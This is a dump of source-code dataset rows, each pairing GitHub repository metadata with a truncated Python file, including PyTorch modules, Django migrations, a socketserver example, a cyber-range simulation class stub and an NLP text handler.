"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
0274666800f27023b2d7a41b9ecd832a1030ed85 | 1f139ddb46bbe681e3bf87308c7be0fb2f5938cd | /pytorch_toolbelt/modules/coord_conv.py | 81be9ecf549b510f09faf53eb530b0d41661051f | [
"MIT"
] | permissive | thohidu/pytorch-toolbelt | fc8f9dff8c12022e1ba59cc06e4f88bd96c591f6 | 7194a76dd9e153a9558c6a3321e25018dc58cdd8 | refs/heads/master | 2020-07-29T01:30:52.903212 | 2019-09-12T19:32:54 | 2019-09-12T19:32:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,931 | py | """Implementation of the CoordConv modules from https://arxiv.org/abs/1807.03247
"""
import torch
import torch.nn as nn
def append_coords(input_tensor, with_r=False):
batch_size, _, x_dim, y_dim = input_tensor.size()
xx_channel = torch.arange(x_dim).repeat(1, y_dim, 1)
yy_channel = torch.arange(y_dim).... | [
"ekhvedchenya@gmail.com"
] | ekhvedchenya@gmail.com |
e00125c88edaa5cd18ee9c56451f288a539da102 | c167ee6a1e01ec206dceb7af9f63695e7513e94f | /backend/home/migrations/0002_load_initial_data.py | e3dabf1b05c1ee0875a11507136f23dccf285f05 | [] | no_license | crowdbotics-apps/lets-chat-22655 | 3c9d9191a52c199a4c8b571441d023dbff11d33c | 958cfa3f622b69368c00cb92bd130277be3e9284 | refs/heads/master | 2023-01-19T01:03:58.712107 | 2020-11-15T23:25:33 | 2020-11-15T23:25:33 | 313,143,364 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,290 | py | from django.db import migrations
def create_customtext(apps, schema_editor):
CustomText = apps.get_model("home", "CustomText")
customtext_title = "Lets Chat"
CustomText.objects.create(title=customtext_title)
def create_homepage(apps, schema_editor):
HomePage = apps.get_model("home", "HomePage")
... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
070e3faa03b9d8ea34f25c046d7cd21a5dfc3b58 | b8630509b97621ddc3bbeaef8d1cd54ff77b3dde | /myvenv/lib/python3.5/site-packages/django/contrib/syndication/apps.py | 5b622ee5c34a05d5ee043b04b4b5aeb747cb47f0 | [] | no_license | ChibaUnppluged/BandMaker-ogi | c4080204d63495fed42e26306663e06df8ffb373 | 68a4a6eceb3f385b97afe8741fc538216800f893 | refs/heads/master | 2021-01-01T04:29:28.436614 | 2017-10-20T16:30:00 | 2017-10-20T16:30:00 | 97,184,844 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 219 | py | # coding:utf-8
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class SyndicationConfig(AppConfig):
name = 'django.contrib.syndication'
verbose_name = _("Syndication")
| [
"pochi.0226.ogi@gmail.com"
] | pochi.0226.ogi@gmail.com |
31637b4f591dd1a32baffe5850a4d1f1ad70dbea | 18bcd0edd790577e97c8a84f5c50605ba2dbce47 | /users/management/commands/seed_hobbies.py | 56fc0595528394f256a810585b34283dfe11e366 | [] | no_license | seungjinhan/django_clone_facebook | 71f4978147f106262763e31556989733d48b3ac2 | e6d8e2fb05de8d78d8bf4a08815592fbb3fafa56 | refs/heads/master | 2022-12-07T06:52:48.206491 | 2020-08-30T13:22:04 | 2020-08-30T13:22:04 | 291,402,925 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,718 | py | from django.core.management.base import BaseCommand
from users.models import Hobby
class Command(BaseCommand):
help = 'this command creates amenities'
# def add_arguments(self, parser):
# parser.add_argument(
# '--times', help='how many time do you want me to tell')
def handle(self,... | [
"hanblues@gmail.com"
] | hanblues@gmail.com |
43c4c0d9f4ae79345f93ce33a801f678a293072c | aae0dac595eee7fe612738b25401e5706e86f383 | /website/thesis/migrations/0007_logbook.py | 556cc3abc465ed488ce1f918a98f6507c017f1d3 | [
"MIT"
] | permissive | shakib609/thesis-review-system | 721834b587244fa50e30f5be09beb304fc2f4ee4 | c625b028a46639ac10ffd03fc2921d65418c9d5c | refs/heads/master | 2021-06-28T04:57:56.910984 | 2020-10-08T19:10:05 | 2020-10-08T19:10:05 | 146,278,061 | 1 | 1 | MIT | 2020-10-08T19:10:06 | 2018-08-27T09:44:53 | JavaScript | UTF-8 | Python | false | false | 1,315 | py | # Generated by Django 3.0.7 on 2020-09-08 17:59
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('thesis', '0006_batch_max... | [
"shakib609@gmail.com"
] | shakib609@gmail.com |
86c4b1dfa6b30d9c6af065ed23e1a918b1c76cf7 | f8933a29319d9062b3f0070d133b9e533efbbc50 | /trilpy/__init__.py | a3ac3d95b97610f0cdd6ae05b9380f69361f0775 | [] | no_license | zimeon/trilpy | 13c999eb164c0a935abfdd4c94a7ab842c53cf67 | 825bd803ed5e5d7b6c906067a4c406a4db18c9c6 | refs/heads/master | 2021-01-16T23:24:39.374726 | 2018-07-24T03:28:09 | 2018-07-24T03:28:09 | 95,748,971 | 1 | 2 | null | 2018-02-07T20:39:00 | 2017-06-29T07:07:14 | Python | UTF-8 | Python | false | false | 393 | py | """Trilpy module.
Requires python 3.3 or greater.
"""
import sys
from .store import Store, KeyDeleted
from .ldpr import LDPR
from .ldprs import LDPRS
from .ldpc import LDPC
from .acl import ACLR
from .tornado import run
from .namespace import LDP, ACL
__version__ = '0.0.3'
if sys.version_info < (3, 3): # pragma: no... | [
"simeon.warner@cornell.edu"
] | simeon.warner@cornell.edu |
a155dce2cf23817977b4ef9344651fa62e0b5be8 | c1655d6c6c11dafc1c7fa9f771b8e1f99cf7f123 | /venv/lib/python3.6/site-packages/pyomo/core/plugins/transform/linear_dual.py | f5d73905fc8c8f0f7fab768bcaec1f888fd67cdf | [] | no_license | igorsowa9/vpp | a27520f19a54d7490534016ded9cd66f4ef5385b | ea91e3b2db921e7b1a450d243f39dbcf61231107 | refs/heads/master | 2021-04-30T03:28:56.642244 | 2019-09-16T09:01:49 | 2019-09-16T09:01:49 | 121,514,524 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 6,205 | py | # ___________________________________________________________________________
#
# Pyomo: Python Optimization Modeling Objects
# Copyright 2017 National Technology and Engineering Solutions of Sandia, LLC
# Under the terms of Contract DE-NA0003525 with National Technology and
# Engineering Solutions of Sandia, LLC... | [
"iso@ubuntu.ubuntu-domain"
] | iso@ubuntu.ubuntu-domain |
f70c4c5643f2291228371e1178892b3b154068a0 | 620323fc090cebaf7aca456ff3f7fbbe1e210394 | /nltk__examples/stopwords_russian.py | 47513bbb8864841ed7805ac1ae56ffbfab4e391c | [
"CC-BY-4.0"
] | permissive | gil9red/SimplePyScripts | bd2733372728bf9b9f00570e90316fa12116516b | 773c2c9724edd8827a1dbd91694d780e03fcb05a | refs/heads/master | 2023-08-31T04:26:09.120173 | 2023-08-30T17:22:59 | 2023-08-30T17:22:59 | 22,650,442 | 157 | 46 | null | 2023-09-08T17:51:33 | 2014-08-05T16:19:52 | Python | UTF-8 | Python | false | false | 1,880 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = "ipetrash"
# pip install nltk
from nltk.corpus import stopwords
print(stopwords.words("russian"))
# ['и', 'в', 'во', 'не', 'что', 'он', 'на', 'я', 'с', 'со', 'как', 'а', 'то', 'все', 'она',
# 'так', 'его', 'но', 'да', 'ты', 'к', 'у', 'же', 'вы', 'за', 'бы... | [
"ilya.petrash@inbox.ru"
] | ilya.petrash@inbox.ru |
83d620105aa7160c9705a6fdefba2f31b4dcbf5b | 1032058e14f292fdb5a489bc7cb35b8adc757387 | /wowa/tracker/forms.py | 3bbd8879ace0f77962a02f093785895223a46262 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | arruda/wowa | a3667dca47099211190a5cd9f1e867328a26c405 | 225e53b8de167d4e7be9550edbbd8e1c0c47d039 | refs/heads/master | 2021-01-15T12:19:16.501961 | 2015-01-12T02:33:58 | 2015-01-12T02:33:58 | 21,806,290 | 0 | 0 | null | 2014-12-16T04:42:19 | 2014-07-14T03:26:46 | JavaScript | UTF-8 | Python | false | false | 583 | py | #-*- coding:utf-8 -*-
"""
tracker.forms
~~~~~~~~~~~~~~
tracker forms file
:copyright: (c) 2014 by arruda.
"""
from __future__ import absolute_import
from django import forms
from .models import Character
class CharacterForm(forms.ModelForm):
"""
Form for the creation of a Character for a u... | [
"felipe.arruda.pontes@gmail.com"
] | felipe.arruda.pontes@gmail.com |
9481844808b9e6bce6f79bc7508af7878ae95113 | affc17f2fb0a06b08fd5cd2f42eb1ffe8e3de6d3 | /status bar.py | 6c4933e5cc94dfe053231518b15c520f0a6e7067 | [] | no_license | nahidhasan007/Python- | 507cd58979d20fc8c376283f1467c473f57c75ca | 0f46445586170d0be46c9c6ef202cdeb8a03f090 | refs/heads/main | 2023-02-28T10:26:31.307877 | 2021-02-03T07:39:42 | 2021-02-03T07:39:42 | 335,543,924 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 418 | py | from tkinter import *
from PIL import ImageTk,Image
root = Tk()
root.title("Frame gui")
root.geometry('300x300')
frame=LabelFrame(root,text="Welcome!",bg="yellow",padx=20,pady=30)
frame.pack(padx=10, pady=10)
btn=Button(frame,text="this is a button",bg="crimson")
btn.grid(row=0,column=0,padx=5,pady=5)
btn1=Button(f... | [
"teachpeach007@gmail.com"
] | teachpeach007@gmail.com |
5302b3096296f691c930e44c81eb2d3637328a40 | 14dfd4ff41f6f58db29cc5a8bd190d0687f75f6f | /15/a.py | 3a8b639c27090f90f27f3fd95a27397e20f0d63c | [] | no_license | dpedu/advent2018 | 30ad128422c3e74c440ee178283bc3174591cedb | 366a28ba533adf651245d04ffb709ca261413d32 | refs/heads/master | 2020-04-15T13:54:47.930936 | 2018-12-25T14:47:24 | 2018-12-25T14:47:46 | 164,736,181 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,137 | py | #!/usr/bin/env python3
from enum import Enum
from collections import deque
class Tile(Enum):
WALL = 0
OPEN = 1
def char2tile(char):
return {"#": Tile.WALL,
".": Tile.OPEN}[char]
def tile2char(tile):
return {Tile.WALL: "#",
Tile.OPEN: "."}[tile]
class Unit(object):
d... | [
"dave@davepedu.com"
] | dave@davepedu.com |
730ef530a0524962e42ee75109446b4331196c68 | 6fcfcb48dfc6cf4136b59b4644da78377f22030f | /test/zold/test_score_props.py | 9d3b590ecdf7b29eeafb74ca643d345964d71610 | [
"MIT"
] | permissive | DronMDF/zold-lazy-node | 15114892e1503714342a28394fb5025c956a8c5e | 835a4c505dbfccb800af69146487f18d10e3c39c | refs/heads/master | 2021-07-25T13:56:04.835867 | 2018-10-25T20:11:24 | 2018-10-25T20:11:24 | 136,481,562 | 1 | 0 | MIT | 2018-10-25T20:11:26 | 2018-06-07T13:28:53 | Python | UTF-8 | Python | false | false | 2,141 | py | # Copyright (c) 2018 Andrey Valyaev <dron.valyaev@gmail.com>
# Copyright (c) 2018 Alexey Tsurkan
#
# This software may be modified and distributed under the terms
# of the MIT license. See the LICENSE file for details.
''' Тестирование ScoreProps '''
from zold.score import JsonScore
from zold.score_props import Score... | [
"dron.valyaev@gmail.com"
] | dron.valyaev@gmail.com |
4d2868de70a1392654d5e64b0cb1643064850dc8 | 456a892bba7cfc141afb466e8c7fccb200bcb0b4 | /common/nn/modules/mlp.py | 3cf848971aaaaad1da7017210bb596cbabc320fe | [] | no_license | CV-IP/SAFNet | 95cf22656d665077f788f9e655f83a50a0773297 | b8bc5f724b86859ad0ef0320cb86f3d95f3952a7 | refs/heads/main | 2023-06-14T08:26:42.430316 | 2021-07-08T07:51:34 | 2021-07-08T07:51:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,867 | py | from torch import nn
import torch.nn.functional as F
from .conv import Conv1dBNReLU, Conv2dBNReLU
from .linear import LinearBNReLU
class MLP(nn.ModuleList):
def __init__(self,
in_channels,
mlp_channels,
bn=True):
"""Multi-layer perception with relu activ... | [
"noreply@github.com"
] | CV-IP.noreply@github.com |
4b827579537638e67766644c477fb38f4a531edf | 1065ec75d9ee668ffd7aafc6a8de912d7c2cee6f | /addons/script.icechannel.extn.extra.uk/plugins/livetv_uk/sonlife_broadcasting_network_ltvi.py | eca8f75c9f915c5e54f8eff51c07c45fd99e6e4a | [] | no_license | bopopescu/kodiprofile | 64c067ee766e8a40e5c148b8e8ea367b4879ffc7 | 7e78640a569a7f212a771aab6a4a4d9cb0eecfbe | refs/heads/master | 2021-06-11T17:16:15.498281 | 2016-04-03T06:37:30 | 2016-04-03T06:37:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,108 | py | '''
Ice Channel
'''
from entertainment.plugnplay.interfaces import LiveTVIndexer
from entertainment.plugnplay import Plugin
from entertainment import common
class sonlife_broadcasting_network(LiveTVIndexer):
implements = [LiveTVIndexer]
display_name = "SonLife Broadcasting Network"
... | [
"sokasoka@hotmail.com"
] | sokasoka@hotmail.com |
42b92e74a008050fcb2699d3e7746d334ceeec40 | c824722d02a36f888f74bf60455361a2a1fe5212 | /rnacentral_pipeline/rnacentral/precompute/qa/possible_orf.py | db41f62c23a13d504ea8003f1fc52d1d25c1a9e8 | [
"GPL-1.0-or-later",
"Apache-2.0",
"Artistic-1.0-Perl",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | RNAcentral/rnacentral-import-pipeline | d1b52291fc083470d75cf400b10792e1613662db | 4505f748f9a932ffe4663c16b6c81574e4c04178 | refs/heads/master | 2023-08-31T23:37:29.744476 | 2023-04-11T11:10:48 | 2023-04-11T11:10:48 | 29,351,993 | 5 | 0 | Apache-2.0 | 2023-07-12T13:58:10 | 2015-01-16T14:34:15 | Python | UTF-8 | Python | false | false | 1,260 | py | # -*- coding: utf-8 -*-
"""
Copyright [2009-2021] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by... | [
"bsweeney@ebi.ac.uk"
] | bsweeney@ebi.ac.uk |
6d049171c06145269324b16c0be6b022adff06a5 | 6a95b330e1beec08b917ff45eccfd6be3fd4629f | /kubernetes/test/test_v1beta1_id_range.py | 600264e5ca5b7190d8c1cdce1c975be47ad9e9e1 | [
"Apache-2.0"
] | permissive | TokkoLabs/client-python | f4a83d6540e64861b59e322c951380a670578d7f | f1ad9c6889105d8510472606c98f8d3807f82020 | refs/heads/master | 2023-07-14T01:36:46.152341 | 2017-12-21T21:32:11 | 2017-12-21T21:32:11 | 115,042,671 | 0 | 0 | Apache-2.0 | 2021-08-06T03:29:17 | 2017-12-21T20:05:15 | Python | UTF-8 | Python | false | false | 945 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.8.2
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
im... | [
"mehdy@google.com"
] | mehdy@google.com |
ba3d86dc7c100f4b7353b4a65af89fe17283b683 | e8dc216ac209d70654b20a09430d21c0fa5354d6 | /font_set.py | 2cf6346d80c26e3fd9e4a7fd51836903c83eee7f | [
"MIT"
] | permissive | donkirkby/donimoes | 5c18428e0976590041ba743e1912f7cb91df4f58 | 2561a850dc709ac7ad0f76aa61e3375316bf3082 | refs/heads/master | 2023-08-27T22:32:00.365146 | 2023-08-24T19:03:03 | 2023-08-24T19:03:14 | 42,759,533 | 7 | 3 | MIT | 2023-09-13T01:36:46 | 2015-09-19T04:23:11 | Python | UTF-8 | Python | false | false | 1,504 | py | from pathlib import Path
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
def register_fonts(include_courier=False):
source_path = Path(__file__).parent
fonts_path = source_path / 'fonts'
fredoka_file = fonts_path / 'Fredoka_One' / 'FredokaOne-Regular.ttf'
raleway... | [
"donkirkby@gmail.com"
] | donkirkby@gmail.com |
dbdc3b8c1518f9c5dc36f8b5874635f7849f75da | b3b68efa404a7034f0d5a1c10b281ef721f8321a | /Scripts/simulation/objects/puddles/puddle_loot_op.py | 965c8606cfc57316193ad7ceb5d0ab56cf1e2226 | [
"Apache-2.0"
] | permissive | velocist/TS4CheatsInfo | 62195f3333076c148b2a59f926c9fb5202f1c6fb | b59ea7e5f4bd01d3b3bd7603843d525a9c179867 | refs/heads/main | 2023-03-08T01:57:39.879485 | 2021-02-13T21:27:38 | 2021-02-13T21:27:38 | 337,543,310 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,783 | py | # uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: T:\InGame\Gameplay\Scripts\Server\objects\puddles\puddle_loot_op.py
# Compiled at: 2018-02-10 03:41:47
# Size of source mod 2**32: 524... | [
"cristina.caballero2406@gmail.com"
] | cristina.caballero2406@gmail.com |
56bfed83e99858021194b27288fd9579e4cddba9 | 0fd2b832673946c9ee532686a2a35bf2680f8408 | /CybORG/CybORG/Shared/Actions/ShellActionsFolder/AccountManipulationFolder/DisableUserLinux.py | 3a609176e75002ab282c6d4533d4006c0351652d | [
"MIT"
] | permissive | pvu1984/cage-challenge-2 | 4e57bad7bc30c7df2b90c2fabc8395a5f2a3e65c | e76722dcd79a6b7511e185cde34fac1e0b45720e | refs/heads/main | 2023-09-02T15:11:32.072215 | 2021-11-12T02:33:19 | 2021-11-12T02:33:19 | 429,307,660 | 0 | 0 | MIT | 2021-11-18T05:27:36 | 2021-11-18T05:27:35 | null | UTF-8 | Python | false | false | 1,111 | py | # Copyright DST Group. Licensed under the MIT license.
from CybORG.Shared.Actions.ShellActionsFolder.AccountManipulationFolder.AccountManipulation import AccountManipulation
from CybORG.Shared.Enums import OperatingSystemType
from CybORG.Shared.Observation import Observation
class DisableUserLinux(AccountManipulation... | [
"david@pop-os.localdomain"
] | david@pop-os.localdomain |
a6fd2d12096c1521fdcfbb2dbf12a74674fcb598 | d70db722710bccf7a834e8e4acdb376b151b20a1 | /apps/campaigns/api/routes.py | 976dde8b0f3cec90aae2b0b7f772f26e76c7d407 | [] | no_license | intentaware/Vader | b0d433f640b244d592126b2713506d214dc1d287 | 54d5d799beab1fc5cef99fb90d4e50e00720bfe0 | refs/heads/master | 2021-01-20T07:07:11.393929 | 2017-12-06T19:16:53 | 2017-12-06T19:16:53 | 30,995,526 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 181 | py | from rest_framework.routers import SimpleRouter
from .viewsets import CampaignViewSet
router = SimpleRouter()
router.register('campaigns', CampaignViewSet, base_name='campaigns')
| [
"yousuf.jawwad@gmail.com"
] | yousuf.jawwad@gmail.com |
786935cb0c29ffbce1f7907de0cdcdb471379343 | 1e8d9a251b36f2e80a851d541321522ce4e812fa | /bin/plot_igmspec | 2f01ec878b6ec503483c1adc32722075e980bc30 | [] | no_license | Waelthus/igmspec | c81f31360e9528bd150a991ad96b8b4ca94962d0 | 8fdbb622360ca5263711f75d0f7571ed955f6e28 | refs/heads/master | 2020-12-25T21:55:50.001007 | 2016-07-17T21:17:08 | 2016-07-17T21:17:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 280 | #!/usr/bin/env python
#
# See top-level LICENSE file for Copyright information
#
# -*- coding: utf-8 -*-
"""
This script runs PYPIT
"""
import igmspec.scripts.plot_igmspec as plot_igmspec
if __name__ == '__main__':
args = plot_igmspec.parser()
plot_igmspec.main(args)
| [
"xavier@ucolick.org"
] | xavier@ucolick.org | |
3958b65f5338920e2c80b31c0ff05a7bc5033339 | 17fe4529fd2772b7d046f039bde140768634d028 | /misc/tools/nat_simulator/event.py | 82817cf5d9417c00f331f170333cb456c1f3ffb5 | [] | no_license | namesuqi/tapir | b9c21f30bf781eec314f0ae4f57c232f167e4734 | a5d4e9bb45d8cbf7e41d42d9006b43b753f3ecf1 | refs/heads/master | 2020-03-07T04:16:45.213561 | 2018-03-29T08:34:46 | 2018-03-29T08:34:46 | 127,261,810 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,336 | py | # coding=utf-8
# author: Sun XiaoLei
# 事件触发,观察者模型
# 用于篡改数据包的功能,现在版本的穿透测试用例无此功能,可忽略本文件
class Event(object):
_observers = {}
_event_subjects = []
def __init__(self, subject, event_param):
self.subject = subject
self.param = event_param
@classmethod
def register(cls, event_subject, ... | [
"suqi_name@163.com"
] | suqi_name@163.com |
71d52ec124764e420d00cd832b3d6f32b6e6bcf4 | 0819c03aae157f0a73488911380d26d796026839 | /Euler007.py | 2a8f26a4ccf1d922b48ab31d1d1fde840aeb90b7 | [] | no_license | mohi-othman/mohi-euler-python | 5c53f02a94a9541623758595e9dd602122f4bb5f | 71aec394684362733a502eb3b4c3f88a18565387 | refs/heads/master | 2016-09-05T16:05:37.161813 | 2012-11-07T19:40:21 | 2012-11-07T19:40:21 | 32,092,676 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 923 | py | import time
from math import *
def isPrime(n):
if n == 1:
return False
if n == 2:
return True
if n%2 == 0:
return False
if n == 3:
return True
if n < 9:
return True
if n%3 == 0:
return False
r = int(sqrt(n))
f = 5
... | [
"muhyedeno@PTS-WS-001.ptsdomain.com"
] | muhyedeno@PTS-WS-001.ptsdomain.com |
c3f285291153d569a103fb603bded21d525cf754 | b0f41ef2af5309fc172b05232dbde501a01d1234 | /fyt/applications/migrations/0080_auto_20180404_1737.py | 93390fd35423239195efd0c8a903f515914aadb2 | [] | no_license | rlmv/doc-trips | c4dfec9b80cf531b69b17ac2caaef509fa048cd3 | 59c1ffc0bff1adb4f86f1dcfaa66d8970ff55b72 | refs/heads/master | 2023-05-27T01:48:49.251830 | 2021-08-07T04:02:26 | 2021-08-07T04:02:26 | 21,745,373 | 10 | 3 | null | 2023-05-23T00:51:26 | 2014-07-11T17:36:35 | Python | UTF-8 | Python | false | false | 479 | py | # Generated by Django 2.0.3 on 2018-04-04 21:37
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('applications', '0079_volunteer_deadline_extension'),
]
operations = [
migrations.AlterField(
model_name='volunteer',
... | [
"bo.marchman@gmail.com"
] | bo.marchman@gmail.com |
d95c07060ca69674a1f9aec4a761a24df384c49f | 41973cd57fd51e9eab7aff454e37b3fc7df97d5e | /joshuabtc/wallets/urls.py | 25bfa95bf87b1ccaaf4cd02492c951b28e5787d2 | [] | no_license | vladimirmyshkovski/joshuabtc | 6cd363309b2de2e287f1c4b24afdbc4643b8e6aa | 8571e9ce5480e1c36611d0b801a0d452fd1f777a | refs/heads/master | 2021-07-16T06:19:03.424119 | 2017-10-23T18:20:56 | 2017-10-23T18:20:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,120 | py | from django.conf.urls import url
from joshuabtc.wallets import views
urlpatterns = [
#url(
# regex=r'^export/$',
# view=views.export,
# name='export'
#),
url(
regex=r'^eth/(?P<pk>\d+)/$',
view=views.ETHDetailView,
name='eth_detail'
),
url(
regex... | [
"narnikgamarnikus@gmail.com"
] | narnikgamarnikus@gmail.com |
f5f45829dbeee0c25c9e1fa4c29f5135e22ddbda | edc945ca683745f0c1009c280e0098cbf1e5f19e | /9.Chapter-9/09_11_pr_07.py | d80f9fdd96ad4f91d25b6467413bbd3164e286a6 | [] | no_license | rayhan60611/Python-A-2-Z | 5235db8a79a870b437d284972469ae0fdc8857d5 | cc11e17595db685a02aa060cf08271727fcd81de | refs/heads/master | 2023-04-20T06:13:35.396705 | 2021-04-20T16:51:51 | 2021-04-20T16:51:51 | 357,170,853 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 241 | py | content = True
i = 1
with open("log.txt") as f:
while content:
content = f.readline()
if 'python' in content.lower():
print(content)
print(f"Yes python is present on line number {i}")
i+=1 | [
"pecon.alok@gmail.com"
] | pecon.alok@gmail.com |
ad462314debeecdc72e0bc63ba4c4630efdb958e | 8d507a8c6de671102b0ac755ca39ccc818c0e7e4 | /note2/test1.py | aa54e93bca2c3639dd0f2fc9e4945a6868020ce5 | [
"Apache-2.0"
] | permissive | 1293464778/LearnPaddle2 | 359045d3c1fa5f381dd7ce52e9877c99694e4958 | cdd6302137162d5602c568a00d8fc15ba3b2c7ed | refs/heads/master | 2020-04-03T18:32:08.336489 | 2018-10-29T09:32:50 | 2018-10-29T09:32:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 558 | py | import paddle.fluid as fluid
# 定义两个张量
x1 = fluid.layers.fill_constant(shape=[2, 2], value=1, dtype='int64')
x2 = fluid.layers.fill_constant(shape=[2, 2], value=1, dtype='int64')
# 将两个张量求和
y1 = fluid.layers.sum(x=[x1, x2])
# 创建一个使用CPU的解释器
place = fluid.CPUPlace()
exe = fluid.executor.Executor(place)
# 进行参数初始化
exe.run... | [
"yeyupiaoling@foxmail.com"
] | yeyupiaoling@foxmail.com |
921d83de5231e99048ecd37a3e0360eb291f5244 | b47a1b9a56eb4a66748aa4eacbe6ba6b44bd53fd | /stepler/keystone/fixtures/domains.py | b95a22c3c96b31a469cd22febd99364a1343f55d | [] | no_license | Mirantis/stepler | 410077c7353711da738a65c7c44ac103ff28e783 | e7583444cd24893ec6ae237b47db7c605b99b0c5 | refs/heads/master | 2021-01-11T19:35:39.321474 | 2019-02-11T10:50:12 | 2019-02-11T10:50:53 | 69,032,770 | 16 | 12 | null | 2020-02-26T12:03:51 | 2016-09-23T14:32:36 | Python | UTF-8 | Python | false | false | 1,543 | py | """
---------------
Domain fixtures
---------------
"""
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | [
"schipiga@mirantis.com"
] | schipiga@mirantis.com |
f4fe88655cea395a920334af36c47d0356909ab1 | c3e776b885ac9552ad4b96b63594ab759f12cc3a | /test/test_scalene_triangle.py | 0ba865a3bb718eed013976a3e6c54471b377f8aa | [] | no_license | wing328/petstore-python | e9ff3c2a5ff0fdddb1e6b0f12fc7e1d48f65590a | fa65c111bb2a040ebb0ed0db3ff9c52c8821922e | refs/heads/master | 2021-10-20T22:22:33.677235 | 2021-10-17T10:33:24 | 2021-10-17T10:33:24 | 54,948,706 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,068 | py | """
OpenAPI Petstore
This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
import sys
impor... | [
"wing328hk@gmail.com"
] | wing328hk@gmail.com |
83629fc157a88f6a76e8b14ee47ecfe71adcbff1 | 5b78602dd41bb226bc97e0acc60d2ec7dff10da4 | /Temur_online_magazini/django_project/employee/migrations/0001_initial.py | 771e4cd6bc890f2423c0e06f4e3be538e00644e4 | [] | no_license | developeryuldashev/Rest_Api_boshlang-ich | fac742823442d052930526b60dc613853e9a9773 | a2f1b5cc104d53504a694d26ba8f492f0743e67e | refs/heads/main | 2023-08-18T23:52:40.441378 | 2021-09-13T03:32:29 | 2021-09-13T03:32:29 | 393,358,090 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 901 | py | # Generated by Django 3.2.5 on 2021-07-26 13:52
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... | [
"81365808+developeryuldashev@users.noreply.github.com"
] | 81365808+developeryuldashev@users.noreply.github.com |
1aa1f08433e7d9b7421ea9c7f42fc34ea70e1686 | 2711e0db7c268cad8e5f4cd95457e8316be6add5 | /code/example/sock_server.py | aa9444357f981cf9754b932ccabbd27300587b22 | [] | no_license | LzWaiting/03.PythonProcess | d85dbc6d215e58f1c34c4ca43eb89187fdd4b3e0 | 713f2805715e3d1c086dcabf097d0a4fd93629bf | refs/heads/master | 2020-06-09T01:58:01.645903 | 2019-06-23T12:58:08 | 2019-06-23T12:58:08 | 193,348,207 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 675 | py | from socketserver import *
# 创建服务器类
# class Server(ForkingMixIn,TCPServer): # 多进程并发
# class Server(ForkingTCPServer): # 多进程并发
class Server(ThreadingMixIn,TCPServer): # 多线程并发
pass
class Handler(StreamRequestHandler):
def handle(self):
# self.request --> accpet 返回的套接字
print("Connect from",self.request.getpeernam... | [
"910122456@qq.com"
] | 910122456@qq.com |
6342e5d07b454761e62eaf655c748f15c1a1de61 | 98d50ebd96c63b4d113ae4a8d3e57c47fa1f6c6c | /claf/tokens/text_handler.py | 848d804f88b09c724c615785dcabee95156f9e44 | [
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | permissive | naver-ai/claf | 37dd06546ff2cbe9b4dfa5594e601e4e4fdb4b46 | 97d5379b4c6014b527b894cac4e761ec8fec67a6 | refs/heads/master | 2022-01-07T11:12:05.680834 | 2019-05-16T05:50:40 | 2019-05-16T05:50:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,813 | py |
from collections import Counter
import logging
import time
from tqdm import tqdm
from claf.data.data_handler import CachePath, DataHandler
from claf.data.utils import padding_tokens, transpose
from claf.tokens.token_maker import TokenMaker
from claf.tokens.vocabulary import Vocab
from claf import utils as common_uti... | [
"humanbrain.djlee@gmail.com"
] | humanbrain.djlee@gmail.com |
